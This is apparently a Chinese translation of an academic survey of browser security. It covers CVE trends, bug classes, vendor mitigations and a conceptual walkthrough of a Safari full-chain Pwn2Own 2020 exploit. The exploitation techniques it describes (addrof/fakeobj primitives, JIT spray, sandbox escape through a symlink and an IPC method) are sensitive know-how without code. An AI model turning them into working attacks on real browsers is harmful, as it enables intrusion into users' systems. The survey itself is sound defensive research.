* `Linux`: 与Windows不同，Linux沙箱主要基于seccomp、chroot和namespace。首先，seccomp是基于eBPF语言的标准系统调用过滤器。由于默认的seccomp配置过于严格，浏览器会定义自己的过滤规则。例如，Chrome将其自定义的seccomp规则应用于除代理进程(broker process)之外的所有进程，并且每个进程的详细规则各不相同。其次，为了限制文件访问，基于Linux的浏览器沙箱会利用chroot监禁。一旦使用chroot限制了进程，就无法访问文件系统的更高层次结构。例如，Firefox将chroot监禁应用于所有渲染器，并且仅允许它们根据从代理进程获得的文件描述符访问特定文件。此外，浏览器使用namespace[74]为各种资源（例如用户、网络和IPC）创建单独的空间。例如，创建和加入用户命名空间使沙盒进程能够位于单独的UID和GID中，从而有效地禁用对其他未沙盒进程的访问。
* `macOS`: 虽然Windows和Linux支持各种类型的沙箱原语，但macOS支持专门格式化的沙箱配置文件(.sb)[75]来描述给定进程的沙箱策略。通常，该文件提供允许访问的绝对文件路径的允许列表，并默认阻止所有其他文件访问。该配置文件还定义了访问其他资源（如网络和共享内存）的能力，并支持基于系统调用的过滤，如Linux的seccomp，尽管它仅部署在Safari上。
`移动平台`:
由于基于进程的沙箱使用大量内存，因此移动平台会在沙箱策略中引入细微差异，或者根据可用资源禁用它们。例如，在Android上，只有当设备有足够的内存（>1.9GB）并且用户需要在网站上输入密码时，才会启用Chrome中的站点隔离[77]。在iOS上，Safari使用与macOS不同的沙盒规则，因为不同的系统服务和IOKit驱动程序是暴露在移动设备上的。由于这些差异，一些漏洞利用可能仅适用于移动平台[152]。
### D. 浏览器漏洞利用
浏览器利用的目标是窃取其用户的敏感数据或安装恶意软件以采取进一步行动。攻击者可以执行UXSS之类的攻击直接窃取数据，或者先执行代码，然后尝试沙箱逃逸。攻击者可能会试图通过攻击内核来获得系统特权沙箱逃逸，这超出了本文的范围。幸亏有各种应对方案（参见§III，§IV），攻击者需要将多个bug（例如，利用4个bug组合直到沙盒逃逸[134]）链接在一起以获得任意执行。即使在控制流被劫持之后，由于渲染器进程在沙箱内运行，攻击者需要在代理进程中找到另一组bug以进行沙箱逃逸。根据武器库中可用的漏洞，攻击者经常试图利用系统服务、驱动程序或内核中的错误而不是代理进程来突破沙箱[155]。
## III. 浏览器漏洞和应对措施
在本节中，我们首先对过去十年中公开报告的浏览器漏洞进行统计研究，以推断趋势，然后介绍主要的漏洞类型（例如JavaScript引擎错误）及其供应商发布的相应应对措施。
图2. 浏览器利用场景和漏洞分类。我们主要关注浏览器安全相关问题，省略了基本的软件攻击/防御技术，如ROP、NX和ASLR。"Exploit
example"箭头描绘了§V中描述的利用路径。
### A. 浏览器漏洞趋势
`数据采集`: 我们研究了四种主要浏览器的公开CVE和漏洞报告:
1\. 来自“浏览器供应商[53]的定期更新的安全公告
2\. 供应商[43][48]发布的公共问题跟踪
3\. 开放源代码存储库有将bug修复提交到已发布漏洞的常规做法[30][45][60][52]
4\. 国家漏洞数据库(NVD)[55]中的CVE报告
5\. 现实世界中使用的安全漏洞利用，例如Pwn2Own[61]中使用的bug，以及Google Project
Zero报告[49]、[58]。表II总结了我们数据收集工作的成果。
表II. (1)NVD数据库中的CVE总数[55](2)收集到的bug数量.
对于开源浏览器，我们从供应商的bug跟踪器中收集了额外的的漏洞信息[48][43]. 对于这些浏览器, 我们忽略了机密漏洞和与bug跟踪器问题无关的漏洞。
对于闭源浏览器，我们使用NVD[55]作为CVE数据的唯一来源. (3)和(4)是用于收集被利用漏洞数据的来源.
`错误和代码库大小`:
图3显示了所有浏览器中，特别是从2010年之后，安全漏洞的急剧增加。我们认为这种漏洞的增加与不断增长的浏览器代码库有关，因为新功能不断添加。此外，2010年之后漏洞挖掘技术的进步发挥了相当大的作用，我们在§VI-C中强调了这一点。
图3. 左y轴: 安全漏洞数量; 右y轴: 两个开源浏览器(Firefox和Chromium)的LoC. LoC是基于每年的首个主要版本更新. 注: LoC
= Lines of Code
`动态攻击向量`:
浏览器的庞大规模和不断变化的特性使得攻击向量不断变化。对于开源浏览器Firefox和Chromium，我们将bug映射到它们各自的主机组件和bug类，如图4所示。对于这两种浏览器，我们使用开发人员分配的特质将bug映射到它们的主机浏览器组件，并使用关键字匹配漏洞描述以对其进行分类。
渲染器错误在Firefox和Chromium中都占主导地位，因为渲染器是浏览器的核心。自2016年以来，Chromium的URL欺骗漏洞的增加凸显了在以前未探索的区域中查找漏洞的容易程度。一般来说，内存错误，特别是UAF错误，仍然是两种浏览器最大的共同点。
另一个大体上的发现是这两个浏览器多年来在两个方面上的漏洞数量不同。例如，对于bug组件，Chromium最近有更多的DOM和HTML漏洞，但Firefox的DOM和HTML漏洞数量正在减少。对于bug类别，2019年Chromium中的大多数bug被归类为UAF、OOB和URL欺骗漏洞，但Firefox多年来对bug分布的描述相对统一。因此，这种差异不仅直观表现出不断变化的攻击向量，还表现了不同浏览器的安全漏洞分类策略的变化。
图4. 将bug映射到Firefox和Chromium中的主机浏览器组件和漏洞类. 该图突出了浏览器攻击面逐年变化的性质. 每个图中的数字都是按最小-最大比例缩放的.
浏览器针对bug的努力也可以在图中体现。Chromium的站点隔离[39]、[186]作为对UXSS漏洞的应对措施，使得2017年实施站点隔离后上述漏洞明显减少（图4b）。某些漏洞类型仍然是bug的主要来源，例如DOM和HTML组件，我们将在§III-C中详细说明。
`内存安全的语言`:
内存安全漏洞在浏览器中至关重要且占主导地位。例如，Chromium将超过70%的高严重性漏洞标记为内存安全问题，其中一半是UAF错误[50]。我们在图5中展示了浏览器中内存安全漏洞的比率。如图所示，尽管有应对措施[212][59]，但过去十年内存安全漏洞仍然占主导地位。最近，有人努力使用内存安全语言（例如
Rust）重写浏览器以减少内存安全漏洞。例如，Mozilla正在一个名为Oxidation[57]的项目中用Rust重写Firefox的部分内容。直到2020年，Oxidation项目已经用Rust(编写的等效模块)替换了12%的Firefox组件。五个被替换的子组件属于渲染器的媒体解析组件。我们也在图5中画出了渲染器的媒体解析组件中的内存安全漏洞数量。很明显，自2015年
Oxidation项目开始以来，Firefox中的内存安全漏洞数量呈现出小幅但稳定的下降，其中在渲染器的媒体组件中的内存安全漏洞明显减少。尽管浏览器供应商多次尝试解决内存安全问题，但都没有像Firefox的Oxidation那样产生显著效果。
图5. Firefox和其他浏览器中内存安全漏洞与其他漏洞的数量。RM-Mem是Firefox渲染器中媒体解析组件中内存安全漏洞的数量，描述了从2015年开始用Rust部分重写后的下降趋势。
Lession 1: 使用内存安全语言可以有效减少内存安全漏洞。
如图5所示，在Firefox中使用Rust有效地减少了内存安全漏洞。尽管需要付出很多努力，但它是一种基本的方法，也是最有可能消除内存安全漏洞的方法。我们建议其他浏览器供应商遵循此最佳方法，并逐步将其浏览器转换为内存安全的语言。
`漏洞赏金计划`:
谷歌等主流浏览器厂商为那些帮助他们修复漏洞的安全错误报告提供奖励[116]。在大多数情况下，这些赏金考虑了多种因素，例如漏洞类型、可利用性以及报告者所做的额外有意义的工作。更高的赏金更能激励研究员和白帽去发掘漏洞。我们在图6中将每年的平均支付金额与Chromium中每年的漏洞数量相关联。我们特别展示了内存安全、UXSS和URL欺骗漏洞，因为它们与支付金额的关联模式很有意思。
图6. 平均支付金额(上图)与Chromium中每年的漏洞数量(下图)之间的相关性. 红色区域是所有类别的平均赏金金额.
超过红色区域的漏洞类别表示比平均水平有更高的赏金.
支付金额会影响为各个类别发现的漏洞数量(图6)。平均赏金金额高于总体平均金额的错误类别（例如，2014-2016年的UXSS和2017-2020年的Mem错误）的数量似乎在这些年有所增加。然而，这种相关性也有例外：某个类别的漏洞数量的增加不会带来更高的赏金金额。该图进一步强调了研究人员在挖洞时除了寻求更高回报外的其他重要因素，例如
1) 寻求探索未知攻击向量(URL欺骗)的好处; 2) 瞄准具有更高影响的漏洞(UXSS在2016的增多);
3）避开具有有效应对措施的漏洞类别(2017年发布的站点隔离和2018年减少的UXSS错误)。
Lession 2: 更高的赏金会激发更多的漏洞报告。
浏览器厂商尝试增加漏洞赏金计划的覆盖面和预算，这收获了更多的漏洞报告。因此，增加漏洞赏金支出可以有效地吸引安全研究人员的兴趣并减少攻击面。
`漏洞严重性评级的分歧`: 通用漏洞评分系统(CVSS)[46]是作为漏洞严重性评估的免费和开源标准而开发的。 National Vulnerability
Database[55]使用CVSS标准为每个发布的CVE编号提供漏洞严重性基础评分。同样，Firefox和Chromium在其bug跟踪器[43][48]和安全建议[53]中提供了对漏洞严重性的评估，使用的是他们自己的漏洞评级系统。表III比较了NVD的CVSS-V3与Firefox和Chromium的漏洞严重性评估。本研究的目的是衡量使用NVD的CVSS-V3分数作为浏览器中漏洞严重程度的统一度量的有效性。
表III. NVD分配的CVSS-V3分数与供应商的漏洞严重程度分数之间的比较. 错误等级为: 低、中、高和严重.
表中省略了年久而无法获得CVSS-V3分数的bug. 最后一列是用于此比较的漏洞总数, 以及分配了不同漏洞等级的漏洞数.
该表在两个维度上强调了漏洞评级的差异: 1) CVSS分数与供应商分数中分类为低的漏洞数量(加粗); 2) 供应商之间评级为严重的漏洞(下划线).
在表中，我们注意到评级系统（供应商与NVD）之间存在差异。NVD对Firefox一半以上的漏洞进行了不同严重程度的评分，而它在Chromium的bug评分上也仅有58%与Chromium一致。虽然我们预计两个评级系统之间不会完全一致，但评分的巨大差距令人惊讶。这些差异也发生在供应商之间。查看这两种浏览器中严重漏洞的数量，我们可以看到，与Chromium相比，Firefox将其bug评为"严重"的百分比要高得多。我们的分析结果，与之前对使用CVSS分数作为bug分类和优先级的指标的担忧相一致[132][205][156]。
`浏览器漏洞`:
被实际攻击中的浏览器漏洞值得更多关注，因为从攻击者的角度来看，它们表明了已确定的攻击向量。为了研究此类漏洞，我们从仅获取高度可利用漏洞的可靠来源收集信息。对于在野使用的漏洞，我们参考Google定期更新的Project
Zero报告，该报告跟踪自2014年以来所有公开的0day漏洞利用案例[58]。我们还收集了Pwn2Own[40]中利用的漏洞，这是一场由Zero Day
Initiative[61]赞助的real-world黑客竞赛。我们根据漏洞类别和目标浏览器组件，在图7中突出显示过去十年中最常被利用的漏洞。
图7. 被利用的浏览器组件和错误类别的趋势. 数据包括来自所有浏览器的错误. 线上是累积的数量.
JavaScript引擎和UAF错误分别主导了被利用的bug组件和漏洞类型。
如图7所示，对于浏览器组件，DOM漏洞占主导地位，直到2017年被JS引擎漏洞取代。尽管如此，DOM漏洞在今天仍然存在，并且即使在添加了许多缓解措施后仍显示出缓慢而稳定的增长。对于漏洞类型，尽管采取了所有应对措施，实际利用中UAF漏洞等内存安全bug仍然比其他漏洞类型更多。一个有趣的发现是关于出现的漏洞类别和组件的对应趋势。对于图中的大多数线条，我们看到早些年的增长相当陡峭，但之后增长放缓（JavaScript引擎漏洞除外）。这种趋势直观呈现了:
攻击者为寻找和探索新的攻击技术而付出的努力，以及供应商为消除和应对新漏洞而采取的反应性对策。
`本节中包含的漏洞类型`: 基于图7所示的bug趋势，在本节中，我们主要讨论bug的趋势类型，即:
1\. 解析器bug (§III-B)
2\. DOM bug (§III-C)
3\. JavaScript引擎漏洞 (§III-D)
4\. SOP绕过和UXSS漏洞 (§III-E)
### B. 解析器漏洞
解析器经常遭受内存损坏问题；浏览器中的解析器也不例外。在Web浏览器中，大多数解析器漏洞都出现在媒体解析器或网络协议解析器中。如图4a所示，渲染器（媒体）占据很大份额。这些漏洞更容易在渲染器进程中被利用，因为它们可用于破坏
JS 对象并创建更强大的漏洞利用原语。
`当前状态`:
在强化堆分配器（§IV-B）之后，这种利用变得更加困难或不可行，主要是因为堆上JS对象的划分。不过，像ClusterFuzz[111]这样的大规模模糊器也发现了许多解析器漏洞。浏览器供应商正在研究沙盒化网络代码，并使用Rust[57]等内存安全语言重写浏览器代码。结果，这些漏洞变少且难以利用。尽管如此，在解析数据时仍然存在多个第三方库的依赖关系，因此需要对安全更新进行严格控制。
### C. DOM漏洞
DOM漏洞是攻击者的热门目标；根据图7，2014年大多数被利用的漏洞是DOM漏洞。由于其中大多数是UAF漏洞，因此已部署了应对措施以降低它们的可利用性，例如堆隔离与延迟释放(§IV-B)。
`当前状态`:
虽然fuzzer还在继续识别新的DOM漏洞[111]、[129]、[227]，如图7所示，但由于利用DOM漏洞的难度增加，最近已知的在野全链漏洞利用倾向于使用其他组件中的漏洞。
Lession 3: UAF应对措施可有效减少DOM漏洞利用。
由于DOM错误主要依赖于UAF问题，因此它们大多已通过UAF应对措施得到处理。依赖指针类型混淆的常规利用技术已经变得不可行，因为堆按对象类型隔离，并且没有公开的替代技术。 因此，利用DOM漏洞不再是破坏渲染器的首选方法。
### D. JS引擎错误
在最近的浏览器漏洞利用中，JS引擎漏洞是浏览器漏洞利用最流行的目标之一，尤其是优化相关的漏洞。至少34%的被利用漏洞（图7）使用JS引擎漏洞来破坏渲染器进程，这通常是全链浏览器漏洞利用的第一步。JS引擎漏洞可用于生成强大的漏洞利用原语，例如addrof（泄露任何JS对象的地址）和fakeobj（将任意地址作为对象访问）。
如§II-B中所述，JS引擎中的JIT编译器使用推测优化(speculative
optimization)。这些优化机制中的漏洞比传统的内存安全漏洞（例如释放后重用或缓冲区溢出）更为严重，因为它们难以处理，但为攻击者提供了强大的利用原语。从高层次上看，JS引擎的bug主要可以分为四类：
\- JIT分析漏洞：JIT编译器的分析过程或模型中的漏洞。此类漏洞具有最高的可利用性和影响。 \- JIT代码变异/生成漏洞：操作JIT
graphs或生成代码过程中的漏洞。 \- 非JIT副作用漏洞(Non-JIT side-effect
bugs)：JavaScript内置函数中的副作用漏洞，主要与快速路径(fast-path)相关。 \-非JIT传统内存损坏漏洞：不属于上述类别的其他内存损坏漏洞
我们检查了图7中的45个被利用的漏洞；有13个JIT分析漏洞、9个非JIT副作用漏洞和11个传统内存损坏漏洞，但没有JIT代码突变/生成漏洞。我们怀疑这是因为此漏洞很难利用。JIT编译器中的大多数漏洞都是逻辑漏洞。由于它是一个编译器基础设施，逻辑漏洞可以被放大为JIT编译代码中的内存安全漏洞。因此，很难对JIT错误做出一般性的缓解。在这里，我们介绍了三大类防御：`原语消除`、`覆盖保护`和`基于jit的代码重用缓解`。
* `原语消除(Primitive elimination)`: 原语消除技术旨在防止攻击者 1.将漏洞转换为利用原语; 2.将利用原语升级为更强大的原语(例如, 为了构造可靠和稳定的读/写原语, 攻击者可以利用addrof和fakeobj原语来伪造一个带有完全受控的后备存储指针的ArrayBuffer对象, 这就是原语的升级)。
a. `对象形状认证(Object shape authentication)`:
这种类型的应对旨在防止攻击者使用fakeobj原语伪造有效对象。例如，在JavaScriptCore中，StructureID
Randomization使用7个随机熵位对StructureID进行编码，这使得攻击者很难猜测[121]、[204]。由于StructureID表示JS对象的类型和形状，猜测StructureID错误会导致形状无效，访问它最终会导致进程崩溃[221]。
b. `地址空间隔离(Address space isolation)`: 此类应对措施隔离不同对象，以防止对象被伪造或覆盖。
GigaCage[83]是一个4GB的虚拟内存区域，将不同的对象分成不同的堆（或HeapKinds）。关键思想是防止跨不同堆的内存访问，并使用堆基地址的相对偏移量来定位GigaCaged对象，而不是使用绝对地址。因此，即使指针已损坏，它也不能指向其原始堆之外的任何内容。PACCage[121]用于保护TypedArray的后备存储缓冲区指针，并在GigaCage之上使用指针验证码(PAC)进一步增强安全性。Chrome
V8 Heap Sandbox
[119]是实验性的，其目标类似于GigaCage，但它尝试使用单独的指针表来保护外部指针，之后攻击者无法为外部指针创建任意值。
* `覆盖保护(Overwrite protection)`: 覆盖保护是防止攻击者引入任意可执行代码的标准保护机制，可以看作是浏览器漏洞利用上下文中的最后一道防线。它们主要包括四种机制: `W ⊕ X` [106]、`强化JIT映射` [139]、`快速权限切换`[128]、[139]和`进程外JIT`[164]。
a. `W ⊕ X`: W ⊕ X
是一个重要的安全原则，它强制内存要么可执行但不可写，要么可写但不可执行。这种应对比传统的shellcode注入攻击更出色，并为许多其他保护技术提供了基础[62]、[232]。令人惊讶的是，由于性能原因，JIT代码页通常不受这种基本缓解的影响，并被映射为rwx
[106]。
b. `仅执行内存(Execute only memory)`: ARMv8设备上的iOS
10获得了对仅执行内存(XOM)[139]的硬件支持，使JIT编译的代码能够将秘密数据作为即时值包含在内。Safari利用XOM向攻击者隐藏可写可执行映射的地址，方法是引入一个仅执行的jit_memcpy函数，该函数内部具有JIT映射的基地址。这使得任意读/写不足以覆盖JIT代码页，并迫使攻击者采取替代路径，例如劫持控制流来调用jit_memcpy。
c. `快速权限切换: APRR & MPK`: 引入对快速权限切换的硬件支持，以减少使用mprotect()切换页面权限的开销。自ARMv8设备上的iOS
11以来，APRR[139]被部署以通过将页面权限(r,w,x)映射到指示线程的实际页面权限的八个专用寄存器来启用每线程权限。类似地，英特尔MPK[128]每页添加一个单独的4位整数，以实施两个额外的保护：禁用访问和禁用写入。因此，JIT区域将始终为r-x，并且仅允许来自专用数据复制线程的写入操作，通过调用解锁函数将权限更改为
rw- 仅适用于目标线程。
d. `进程外JIT`: 在Windows上，Arbitrary Code Guard
(ACG)等缓解措施可确保进程只能将签名代码映射到其内存中。但是，浏览器出于性能目的大量使用JIT编译器，这会在内容进程中生成未签名的本机代码。引入了进程外JIT[164]以启用带有JIT编译器的ACG。因此，JIT功能被转移到一个单独的进程中，该进程在它自己的沙箱中运行，它负责编译JS代码并将其映射到进程中。因此，内容进程将永远不被允许映射或修改其自己的JIT代码页。
* `基于JIT的代码重用缓解措施(JIT-based code-reuse mitigations)`: JIT Spray [158]是一种将大量攻击者控制的JIT代码（标记为可执行文件）注入内存中可预测的地址以绕过ASLR/DEP的技术，类似于Heap spray [95]。为了缓解JIT Spray，浏览器对JIT代码设置了大小限制，并切换到具有高熵ASLR的64位平台，这使得JIT spray不可行。不过，如果攻击者知道它们的地址，则可以利用JIT code gadgets。这种攻击称为基于JIT的代码重用攻击(JCRA)。在这里，我们简要总结了此类攻击的应对措施。
a. `受控字节消除(Controlled bytes elimination)`:
JCRA有一个基本假设，即通过控制立即操作数和特定操作码，攻击者可以控制在堆内存中生成的JITed代码。因此，应对措施是要消除攻击者控制字节的可预测性，例如混淆大常量[71]、[144]、置换立即操作数和局部变量的寄存器分配[144]、[222]以及在函数的调用帧中混杂指令[144]、[222]。
b. `内部随机化(Internal randomization)`:
攻击者还可以利用指令彼此的相对位置或与基地址的可预测偏移量。一些应对措施旨在使JIT代码布局多样化，包括：随机化不同指令对之间的相对偏移量[126]、[144]、[225]，以及在第一个代码单元之前随机插入空闲空间
[106]，[144]。
`当前状态`:
虽然有一些试验可以防止某些类型的漏洞(§IV-D)，但很难涵盖所有这些漏洞。因此，JS引擎中的应对措施侧重于消除攻击原语。最近，Edge团队添加了一个名为Super
Duper Secure
Mode(SDSM)[17]、[19]的新安全功能，它基本上禁用了JIT编译。用户可以选择在访问频率较低的网站上禁用JIT。虽然要牺牲一些性能，但它是减少攻击面的好方法。尽管已经引入了多种应对措施，JCRA仍然是有用的[87]、[106]，因为供应商没有投入很多资源来实施或维护应对措施。
Lesson 4: 应对JS引擎漏洞很困难。
JavaScript引擎漏洞，尤其是JIT编译器漏洞，非常强大，因为攻击者可以发出存在内存损坏问题的代码。因为处理逻辑漏洞通常很难，许多应对措施目的是防止利用原语升级。因此，供应商经常部署打破利用路径的缓解措施，并不断增强它们以防止未来的攻击。
### E. SOP-Bypass 和 UXSS 漏洞
同源策略(SOP)[94]由Web浏览器强制执行，以保持不同源之间的安全边界。SOP绕过漏洞可用于在不同程度上破坏SOP，从泄漏一比特到窃取整页数据。UXSS漏洞是最强大的SOP绕过漏洞类型，可用于促进跨域JavaScript代码执行。在UXSS攻击中，攻击者可以通过利用Web浏览器[13]、[14]或第三方扩展[31]、[35]中的漏洞将脚本注入任何受影响的上下文，达到与在目标网站利用XSS漏洞相同的效果。
`当前状态`:
站点隔离[39]、[186]是针对UXSS攻击的最重要的应对措施之一。站点隔离在进程级别强制执行SOP，这使得大多数现有的UXSS漏洞无法利用。2017年后逐步应用站点隔离后，报告的UXSS漏洞数量明显减少，如图6所示。但第三方扩展中的UXSS漏洞仍然存在；在流行的扩展[31]、[35]中发现了多个UXSS漏洞，这些漏洞使攻击者能够绕过站点隔离并窃取用户的凭据。
Lession 5: UXSS漏洞主要通过站点隔离来缓解。
站点隔离是针对UXSS漏洞的有效缓解措施。然而，只有Chrome和Firefox部署了站点隔离，因为它需要大量的工程工作（附录 D）。
### F. 总结
由于威胁研究和改进的补丁部署，1-day漏洞利用的影响减小，并且在野0-day漏洞利用一旦被捕获就会迅速修补。然而，供应商的进攻性研究仍然远远不足。尽管供应商正在努力，但他们在这场军备竞赛中始终落后。供应商的缓解措施大多是被动的，这意味着它们是在每一波攻击之后很久才行动。当攻击面最终关闭时，攻击者已经想出了更好的利用方式。这是一项艰巨的任务，但供应商应该更加主动，并在考虑安全隐患的情况下实施新功能，例如，在部署新功能之前研究潜在的新攻击。
## IV. 浏览器中的更多安全措施
在本节中，我们将介绍浏览器供应商实施的更通用的应对措施，这些措施未在前几节中介绍。我们对过去十年在四种主流浏览器中实施的应对措施以及它们的应用和停用日期进行了纵向研究，见表IV。在本节中，我们将详细讨论其中的部分。
表IV: 浏览器中的应对措施
### A. 沙箱
沙箱对浏览器安全至关重要，因为它限制了渲染器进程中漏洞的影响，其中包含各种容易出问题的组件。除了像UXSS这样的情况，攻击者需要利用内核、系统服务或浏览器进程的漏洞来逃离渲染器沙箱。因此，它显著提高了攻击的门槛，因为攻击者需要破解利用这两个组件（渲染器和沙箱）才能进行全链0-day攻击。
`Win32k锁定`: 由于大多数Windows内核漏洞都存在于Win32k系统调用中，因此Microsoft引入了系统调用禁用策略---2012年针对Windows的Win32k锁定[130]。Windows应用程序的开发人员可以完全阻止对Win32k系统调用表的访问，从而显著减少攻击面。Edge、Chrome和Firefox已经采用这种机制来保护浏览器。因此，从渲染器进程中实现沙箱逃逸变得更加复杂。
`基于Hypervisor的沙盒`: Windows
Defender应用程序防护(WDAG)[161]由微软引入，用于隔离企业场景中不受信任的网站或资源（例如文件）。WDAG使用Hyper-V在硬件层创建新的Windows实例，其中包括单独的内核副本和最低限度的Windows平台服务，以确保Edge浏览器正常运行。WDAG在Edge中实施，以防止可以绕过浏览器沙箱的高级攻击。使用WDAG，攻击者需要逃离沙盒和Hyper-V虚拟机。
### B. 强化分配器
出于性能和安全原因，浏览器对许多对象使用专门的堆分配器[96]，[150]。这些分配器使用特定的设计，通过限制攻击原语来帮助减少损害。
`堆隔离(Isolated heap)`: 堆隔离是一种有效的防御措施，可以防止UAF攻击升级为类型混淆攻击。通过基于: 1)类型;
2)安全风险级别(例如嵌入v-table指针);
3)JavaScript可达性（例如ArrayBuffer）来隔离对象，堆隔离有效地提高了UAF漏洞利用的门槛。隔离可防止攻击者使用具有不同布局的对象重新声明已释放的对象，这在浏览器UAF利用中是经典操作。
现代浏览器在JavaScript可达对象(JavaScript-reachable
objects)和其他对象之间实现了基本级别的堆分离[83]、[85]、[100]、[123]。但是，仍然有可能通过
UAF在同一堆中但其他类型的对象之间造成类型混淆。为了防止这种攻击，Safari[73]和Firefox[98]为特定类别中的每种类型引入了单独的堆，这提供了更细粒度的隔离。因此，没有公开的、通用的利用方法来利用所有浏览器中的UAF漏洞。
`延迟释放(Delayed free)`:
另一种应对措施，延迟释放，有效地增加了利用UAF漏洞的难度，但这种方法不能限制垂悬指针的回收。浏览器使用各种垃圾回收(GC)算法来释放没有引用的堆上对象。GC算法的一些变体额外扫描栈和堆[96]、[150]区域以查找可能被忽略的引用，这被称为保守扫描(conservative
scanning)[80]或延迟释放[123]。值得注意的是，Firefox放弃了这一策略，转而支持exact
rooting，并编写了一个静态分析工具来查找堆栈中引用的不安全使用[99]、[167]。Chrome也有一个类似的工具[15]，但它只在特定区域强制执行。然而，延迟释放引入了侧通道原语，可被用于击溃ASLR机制，因为它无法通过设计[41]、[81]、[104]、[123]来区分指向堆的指针和用户控制的整数。
`堆元数据保护(Heap metadata protection)`:
堆元数据保护是一种检查堆块的元数据部分以防止堆损坏和堆中的静默漏洞传播的方法。例如，堆分配器可能会在危险数据结构之前放置一个随机值[151]以检测堆漏洞。Chrome中的PartitionAlloc删除了内联元数据并放置了保护页面以防止线性堆溢出覆盖元数据[85]。在元数据保护方面也有一些操作系统级别的努力[148]、[151]。
`堆上的其他缓解措施`:Firefox 中的`Frame
poisoning`会释放地址指向不可访问内存页面的内存块[98]。类似地，在Edge中，这是通过在释放堆块时填充零来完成的[228]。Chrome中的GWP-ASan[115]在保护页面之前/之后随机放置一小部分分配的对象，并在释放块时释放整个页面以检测在野的堆错误。
### C. 控制流完整性
由于攻击者经常操纵指令指针的值来实现代码执行，因此强制控制流完整性以防止他们劫持控制流，从而使攻击更加困难。编译器基础设施、操作系统和硬件支持提供了这一类别中的大多数缓解措施，例如通过引入canary
value[165]来保护虚拟函数表，并允许通过检查目标地址来列出间接分支[159]、[177]。
正在进行的工作是防止任意内存写入修改攻击者可执行的代码区域（§III-D）。基于硬件支持，浏览器可以在不显著降低性能的情况下应用额外的应对措施，例如在ARM64
[149]上使用PAC添加指针完整性检查，还有使用Intel MPK[118]对JIT编译的代码添加额外的W ⊕ X保护和APRR[198]。
### D. 侧信道
浏览器也容易受到侧信道攻击。迄今为止的研究表明，浏览器中的敏感信息可以通过以下方式推断: 1\.
微架构状态[137]、[147]、[157]、[179]、[197]; 2\. GPU[142]、[178]; 3\. 浮点时序通道 [64]; 4\.
特定于浏览器的测信道[201]、[216]-[218]
研究人员引入了防御机制[84]、[138]、[194]、[202]来保护浏览器免受侧信道攻击，例如DeterFox[84]和FuzzyFox[138]。此外，浏览器供应商已经实施的防御[97]、[114]、[127]，可分为以下两类：
`降低定时器的分辨率`:
由于大多数攻击依赖于精确计时，为了阻碍对微小计时差异的检测，浏览器供应商降低了精确计时器的分辨率（例如，performance.now()）并引入了随机抖动来防止分辨率恢复[22],[66],[168]。在Spectre[137]和Meltdown[147]的发现之后，供应商进一步降低了计时器的精度[86]、[171]、[209]。由于SharedArrayBuffer可用于创建高分辨率计时器，因此在Spectre[137]发现后不久，SharedArrayBuffer在所有现代浏览器中都被禁用[88]。
`防止资源共享`: 另一种应对技术是防止受害者和攻击者之间的资源共享。站点隔离[39]、[186]
(§II-B)有效地处理了基于Javascript的瞬态执行。引入了Cross-Origin-Opener-Policy(COOP)和Cross-Origin-Embedder-Policy(COEP)[131]来建立跨域隔离环境。COOP允许网站在顶级document中包含响应头，确保跨域文档不与自身共享相同的浏览上下文组，从而防止直接DOM访问。COEP阻止页面加载任何未明确授予该页面权限的跨域资源。这些都是使用HTTP头强制执行的，并且它们在Chrome
83、Firefox 79和Edge 83[92]、[93]中提供，而截至2021年11月，Safari还不支持它们。
在引入站点隔离和COOP/COEP之后，Chrome和Firefox重新启用了SharedArrayBuffer[27]、[172]的使用。然而，一项研究表明，重新引入SharedArrayBuffer使隐蔽通道容量分别增加了2,000倍和800,000倍[187]。最近的两篇论文[63]、[135]表明，尽管Chrome中存在站点隔离，攻击者仍然可以获取跨域的敏感信息。
### E. 其他应对措施
`UAF缓解`:
为了从根本上解决垃圾回收或其他安全措施未涵盖的UAF问题，Chrome团队引入了一个名为`MiraclePtr`[184]、[185]的术语，它代表一组可以在C/C++中包装原始指针的算法，这样它们就不能通过UAF被利用。MiraclePtr预计将很快投入使用[79]。
`提高内存安全性`:
Chrome团队已经探索了他们的C＋＋代码库的改进，通过限制特定语言特性的使用（例如，C＋＋异常[112]）和围绕整数运算引入包装类[212]，可以消除或减少特定类型的漏洞。
`改进JIT编译器`: 已有许多努力用于保护JIT编译器内部的危险优化操作。例如，许多漏洞利用边界检查消除(bounds check
elimination)[192]来消除"看似多余"的边界检查。为了处理这种情况，Chrome团队引入了一个补丁，将此类检查标记为"中止(aborting)"，而不是简单地删除它们[133]。因此，攻击者最多只能触发一个SIGTRAP。此外，为了使标准JS函数的字节码生成更不容易出错，Chrome团队制作了一种特定领域的语言Torque[113]，它取代了现有的C++实现并减少了很多LoC。
Lession 6：在应对方面的协作努力是有益的。
当一个供应商部署应对措施时，其他供应商可能会效仿。在表IV中，我们看到众多应对措施已被多个浏览器采用。如果在一个浏览器中发现漏洞，供应商可以快速与其他供应商共享信息，他们可以一起使用集体知识构建更好的解决措施。在Spectre/Meltdown攻击[137]、[147]的情况下，浏览器供应商共同制定了减轻直接威胁的计划[86]、[171]、[209]，这是协作努力的一个很好的例子。
## V. 案例研究: 全链利用
由于现代浏览器具有不同的安全功能，因此浏览器利用通常需要链接多个攻击以最终执行恶意操作。结合所有这些步骤通常被称为全链利用(full-chain
exploitation)。作为全链浏览器利用的代表性案例研究，我们分析了2020年Pwn2Own竞赛中针对Safari[134]的成功攻击，即图2所示的漏洞利用示例。
这种攻击渗透到渲染器进程，从JIT编译器优化漏洞[37]开始：当满足有关代理对象的特殊条件时，Safari
JavaScript渲染器中的DFG编译器错误地模拟了"in"运算符的副作用。这个漏洞允许攻击者构建标准addrof/fakeobj原语，从而产生任意内存读/写，并最终产生任意代码执行。为了使用fakeobj构造一个有效的对象，攻击者利用一种众所周知的技术[221]绕过对象形状认证(object
shape authentication, §III-D中的结构ID随机化)。在伪造一个JavaScript对象后，他们使用已知技术[183]绕过地址空间隔离（第III-D节中的Gigacage）并在渲染器进程中获得任意读/写原语。
一旦渲染器进程受到破坏，沙盒逃逸就是下一步，并且更具挑战性。在这次攻击中，攻击者巧妙地将多个逻辑/内存漏洞拼接在一起以逃出沙盒。攻击者首先额外从CVMServer
XPC服务（内置OpenGL框架的一部分）获得任意代码执行，该服务虽然是沙盒，但具有创建符号链接的能力，而渲染器进程不具备这种能力。此外，Safari中有一个IPC方法，didFailProvisionalLoad()，如果提供了指向应用程序文件夹的符号链接，它可以启动任意应用程序。通过组合它们，攻击者可以通过Safari启动任意应用程序。至此，沙箱被成功攻破，因为他们可以在渲染器沙箱之外执行任意应用程序，类似于启动Safari的用户。
